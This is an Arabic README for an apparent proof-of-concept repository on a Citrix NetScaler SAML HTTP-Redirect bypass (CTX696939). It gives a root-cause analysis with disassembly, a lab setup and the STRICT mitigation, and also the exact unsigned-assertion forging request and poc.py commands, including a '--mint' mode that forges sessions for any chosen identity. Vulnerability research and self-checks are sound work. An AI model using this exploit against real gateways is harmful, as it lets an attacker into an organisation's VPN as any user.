
# تجاوز تأكيد SAML غير الموقّع في NetScaler ADC/Gateway عبر ربط HTTP-Redirect (CTX696939) - تحليل السبب الجذري + إثبات المفهوم
تزوير جلسة غير مصادق عليها في Citrix NetScaler ADC / NetScaler Gateway عبر
معالج ربط HTTP-Redirect الخاص بـ SAML في GET /cgi/samlauth. درجة CVSS 4.0 هي 9.3، CWE-288.
النشرة CTX696939 (2026-08-19)، لا توجد حلول بديلة. يعود الفضل في التقرير الأصلي
إلى Samarth Vashisht (فريق اختبار الاختراق في JPMorgan Chase)؛ تحليل السبب الجذري والكود
في هذا المستودع هما عملي الخاص.
المتأثر: 14.1 قبل 14.1-73.32، 13.1 قبل 13.1-63.21. تم الإصلاح في هذين الإصدارين.
هناك أمران خاطئان يحدثان معًا في nsppe، محرك الحزم.
1. يقوم ربط إعادة التوجيه بتحليل التأكيدات مع مسح علامة strict.
جميع مواقع استدعاء محلل استجابة SAML (sub_b40a50) تقوم بإعداد وسيط "strict" قبل
الاستدعاء. مسار ربط POST (ما تستخدمه المتصفحات فعليًا لاستجابات SAML)
يمرره مضبوطًا. مسار ربط HTTP-Redirect لا يفعل ذلك:
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
b7f532: 41 b8 00 00 00 00 mov r8d,0x0 <-- strict OFF
b7f538: 48 8d 8d d8 fe ff ff lea rcx,[rbp-0x128]
b7f53f: 48 8b 95 b8 fe ff ff mov rdx,[rbp-0x148]
b7f546: 8b b5 cc fe ff ff mov esi,[rbp-0x134]
b7f54c: 48 8b 3d f5 9f 6f 02 mov rdi,[rip+0x26f9ff5]
b7f553: e8 f8 14 fc ff call b40a50 <-- المحلل
هذا هو المسار البديل بمعنى CWE-288. نفس سطح الطلب، استدعاء محلل أضعف،
يمكن الوصول إليه من قبل أي شخص يمكنه إرسال GET مع معلمة استعلام SAMLResponse.
2. بوابة التأكيد غير الموقّع تتعامل مع التكوين الافتراضي على أنه ALLOW.
داخل معالج إعادة التوجيه، عندما لا يحمل الطلب SigAlg/Signature، يتم
مقارنة كلمة التكوين لـ rejectUnsignedAssertion وتفرعها هكذا:
$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
b7ee3b: 83 78 08 02 cmp DWORD PTR [rax+0x8],0x2
b7ee3f: 74 5d je b7ee9e <-- يقفز إلى مسار ACCEPT
قيم الكلمة هي: 2 = rejectUnsignedAssertion ON (الافتراضي)، 3 = STRICT.
je يرسل 2 إلى القبول. فقط STRICT يصل إلى سطر سجل الرفض:
$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s
لذا على جهاز بتكوين افتراضي، يتم تحليل تأكيد غير موقّع يُسلَّم إلى ربط إعادة التوجيه (strict off)، ويُقبل بعد بوابة عدم التوقيع (ON يُقرأ خطأً على أنه allow)، ثم تنفيذ خطوات ما بعد التحليل العادية: فحوصات issuer/audience/subject مقابل تكوين إجراء SAML، ثم بناء الجلسة من الحقول التي يوفرها المهاجم. لا يوجد digest، ولا RSA verify، في أي مكان على هذا المسار. ربط POST لا يتأثر بنفس الطريقة — فهو يمرر strict إلى المحلل ويرفض الإدخال غير الموقّع بشكل صحيح.
الشروط المسبقة وفقًا للنشرة، مؤكدة مقابل الثنائي: الإصدارات من 14.1-43.56 / 13.1-61.28 فصاعدًا تحتاج إلى إجراء SAML مرتبط بـ Gateway أو AAA vserver (إعداد SAML SSO العادي، لذا معظم عمليات نشر SAML مؤهلة). الإصدارات الأقدم تسجل المسار مع vserver وحده.
GET واحد. قم ببناء استجابة SAML بدون <ds:Signature> في أي مكان، قم بضغطها DEFLATE + base64
وأرسلها:
GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>
القيم التي يجب أن تطابق تكوين إجراء SAML للهدف: تأكيد Issuer = معرّف كيان IdP،
Audience = معرّف كيان SP، Recipient/Destination = عنوان ACS URL، و
في الإعدادات التعاملية InResponseTo من AuthnRequest حي. --mint يتنقل عبر
إعادة توجيه تسجيل الدخول المسبق للبوابة نفسها لالتقاط تلك (SAMLRequest في
ترويسة Location يحملها جميعًا). إعادة توجيه 302 إلى /vpn/ بالإضافة إلى
ملف تعريف ارتباط حقيقي NSC_AAAC / NSC_TASS (وليس علامات الحذف xyz) هي
جلسة مزورة كأي NameID تضعه.
pip install requests
# هل نقطة النهاية موجودة وهل يعالج ربط GET SAMLResponse على الإطلاق
python3 poc.py https://vpn.target.com --check-only
# فحص تكوين غير تدخلي: تأكيد غير موقّع مع issuer خاطئ عمدًا.
# 'Malformed Assertion' (0xe0005) -> STRICT، غير معرض لهذا المتجه
# خطأ issuer/policy (0xe0012) -> تكوين افتراضي، معرض؛ لا يتم إنشاء جلسة
python3 poc.py https://vpn.target.com --safe-oracle
# السلسلة الكاملة (الأهداف المصرح بها فقط): إنشاء سلسلة SP، التزوير، التحقق مرة واحدة
python3 poc.py https://vpn.target.com --mint --name-id [email protected]
--safe-oracle موجود لأن التكوينين يعيدان صفحات خطأ مختلفة قبل حدوث أي شيء
يشبه الجلسة، وهو أيضًا كيف يمكن للمدافعين الفحص الذاتي دون
لمس IdP حقيقي. قم بتشغيله ضد أجهزتك الخاصة.
demo/demo.gif (أيضًا demo.mp4، وdemo/demo.cast إذا كنت تريد تشغيله باستخدام
asciinema play): الإصدار المتأثر من صورة docker، تكوين الكلمة-2 الافتراضي،
الفرعان الثنائيان مفككان من nsppe المُرسل، وفحص نقطة نهاية PoC.
الميل الأخير، إصدار الجلسة، يحتاج إلى VPX مرخص — CPX Express يرفض
جلسات AAA في طبقة الترخيص — وهو ما يلتقطه lab/record-demo.sh عندما
يكون لديك واحد.
lab/setup-cpx.sh يشغّل الإصدار المتأثر المحدد في docker:
docker run -dt --privileged --name cpx19490 -e EULA=YES \
quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh
ويقوم بتكوين إجراء SAML مع rejectUnsignedAssertion ON، وسياسة، و
Gateway vserver. تحذيران تم تعلمهما بالطريقة الصعبة:
/cgi/samlauth
لكن كل طلب يصل إلى 480 Login exceeds maximum allowed users. جيد بما يكفي
لإعادة إنتاج التكوين + نقطة النهاية + حالة الثنائي، وليس ملف تعريف ارتباط الجلسة النهائي.lab/record-demo.sh يسجل
تسلسل asciinema كاملاً: الإصدار، التكوين، safe-oracle، الجلسة المزورة، STRICT
كعنصر تحكم سلبي.إزاحات الثنائي المُرسل أعلاه تأتي مباشرة من تلك الصورة:
docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30
set samlAction <name> -samlRejectUnsignedAssertion STRICT يحظر متجه إعادة التوجيه
على المسار المعرض (يجعل الكلمة == 3). كن على علم أن STRICT يغير أيضًا
ما تتوقعه الأجهزة من IdP الخاص بك (متطلبات توقيع Response + Assertion)،
وهو على الأرجح سبب قيام Citrix بشحن ON كافتراضي ولماذا "فقط اضبط STRICT"
ليس حلاً بديلاً نظيفًا للجميع./cgi/samlauth تحمل SAMLResponse على GET (استجابات
ربط إعادة التوجيه نادرة في البرية — المتصفحات تستخدم POST)، حمولات غير موقعة،
والفرق في صفحة الخطأ أعلاه.لاختبار الأمان المصرح به فقط: مختبرك الخاص، أو أهداف ضمن النطاق صراحةً لبرنامج أنت مصرح له. المؤلف ليس تابعًا لـ Citrix أو فريق الإبلاغ الأصلي.
ترخيص MIT، انظر LICENSE.